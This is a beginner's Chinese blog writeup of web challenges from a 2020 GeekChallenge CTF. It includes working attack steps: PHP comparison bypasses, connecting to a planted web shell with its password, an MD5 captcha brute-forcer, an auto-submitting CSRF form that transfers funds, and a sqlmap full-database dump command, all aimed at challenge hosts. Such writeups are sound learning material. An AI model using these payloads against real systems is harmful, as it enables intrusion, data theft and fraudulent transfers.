【CTF】第12届极客大挑战GeekChallenge WEB部分Writeup by Xunflash

CTF · 2020-11-20 · 18270 人浏览

第一次参加这种比赛,写得很垃圾,200以上的都不会做。。。随便看看就好 :huaji13:


题目名称:Welcome

解题过程:打开发现405

405

,百度搜索405发现需要使用post提交,burpsuite抓包改成post,forward,右键send to repeater

source

repeater

然后读一下代码发现

($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])

好怪啊这个东西,然后疯狂百度,搞了好久发现了这篇文章https://www.pianshen.com/article/732238291/
里面说数组的sha1值相同,虽然不知道什么原理,但是直接用hackbar

hackbar

在phpinfo界面找到auto_prepend_file ,后面有一个f1444aagggg.php,打开发现Not Found ,但是没有数据库信息和php信息,很怪,然后就不知道干啥,后来想着拿去burpsuite试一下查看源代码,然后就发现一行flag了

题目名称:朋友的学妹

解题过程:打开网站发现要我们查看源代码,于是查看源代码,有隐藏内容
使用base64解密得到flag

题目名称:EZwww

解题过程:打开网站发现啥也点不了,题目提示是has been backed up于是直接掏出御剑扫描

御剑后台扫描工具

下载www . zip 解压然后看到一个flag!!!.txt打开是个假的。。。太皮了
然后打开index.php里面
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
解码c3ljbDB2ZXI=之后post上去就可以得到flag

题目名称:EZgit

解题过程:打开发现问我知不知道githack,废话我当然不知道啦,然后去百度,下载githack,使用,出来个fl4g.php,里面提示flag is toooo old,然后我傻了。
直到搜到
https://www.cnblogs.com/anweilx/p/12453703.html
哇这个真的np直接教我做
照着他的图片操作然后顺利得出flag

题目名称:刘壮的黑页

解题过程:翻到底下发现有源代码,按照提示同时使用get(/?username=admin)和post(hackbar),得到flag

题目名称:我是大黑客

解题过程:打开网站提示有php.bak备份文件,下载后发现是一句话木马,打开中国蚁剑,链接http://39.106.144.160:100/liuzhuang.php,密码liuzhuang,链接后进入根目录发现flag

题目名称:ezbypass

解题过程:
打开网站发现要用get请求,使a与b比较,a与b不能相等,并且让strcmp函数返回值0。参考
https://blog.csdn.net/qq_36869808/article/details/83421379
发现又是数组。。。然后来到第二步发现要让非数字等于数字,参考
https://blog.csdn.net/Auuuuuuuu/article/details/79621635
post c=123a 得到flag
题目名称:flagshop
解题过程:
提示csrf,不要想成为admin,于是老老实实打开网站注册账号登录,进入报告界面看一下,一脸懵逼,百度一下ctf csrf,看了好多文章,大概明白是个啥玩意了,然后打开报告页面,随便输东西,提示验证码错误。。。然后看见验证码那里有一串代码,都是md5($code)[0:5] == xxxxx 的五位数,好像是md5碰撞(看不懂代码哭了)然后百度md5碰撞http://0verflow.cn/?p=478
下面有一个md5值是0e开头的字符串生成器,于是改了一下改成五位数的

import hashlib,random,string
a = input("input:")
while True:
    s = ''.join(random.sample(string.ascii_letters + string.digits, 5))
    m = hashlib.md5(s.encode("utf-8")).hexdigest()
    if m[:5] == a:
        print(s)
        break

在命令行里面运行,输入验证码栏里面的xxxxx,可以得到一串字符,输入进去,其他两栏乱输,显示提交成功。然后去转账界面使用burpsuite抓包

proxy

然后右键

csrf

选择这个,就会生成csrf攻击的html代码

csrf2

但是这个要改一下,参照https://www.cnblogs.com/-qing-/p/11015075.html
改成自动提交的表单,像这样

<!DOCTYPE html>
 <html lang="en"> <head>
      <meta charset="UTF-8">
      <title>CSRF</title>
 </head>
 <body>
<form action="http://173.82.206.142:8005/transfer.php" method=POST>
      <input type="hidden" name="target" value="xunflash" />
      <input type="hidden" name="money" value="10000000000" />
      <input type="hidden" name="messages" value="123" />
</form>
<script>document.forms[0].submit();</script>
</body>
 </html>

然后在gitee或者GitHub建一个免费的静态页面,参照这个
https://gitee.com/help/categories/56
最后生成静态页面,把页面的网址提交上去(感谢翔哥py提示,我之前一直在提交html的源码上去,我是彩笔)
然后就有了

购买flag就好了
(记得把gitee的html删掉,不然好像会封号)

(淦,这个好难啊)

题目名称:知x堂的php教程

没写出来。。。
解题过程:
没做出来还是写一下吧,应该是代码审计+注入?
无奈我看不懂代码,还要学。。。进入网页后是个trump哈哈哈,然后点课程历史下的教案观察,是listdir.php,有个参数dirname,先不管,打开flag.php,发现地址栏是displaySourceCode.php?phpfile=JN/flag.php。哦吼,可以看源码,赶紧看看listdir.php的代码,输入
http://47.94.239.194:8082/displaySourceCode.php?phpfile=listdir.php
然后就出来源代码了,通过注释可以看到一些功能实现的函数,可能要用注入,然后仿照这种方式看了waf.php, displaySourceCode.php就没有然后了。不会了……

题目名称:带恶人六撞

解题过程:
随便输入了一个’符号报错了,肯定是注入,直接打开sqlmap,查出来一个数据库geek_sql,然后使用命令
python3 sqlmap.py -u http://49.234.224.119:7415/?id=1 --dump-all -D geek_sql
然后直接爆出flag

WEB
Theme Jasmine by Kent Liao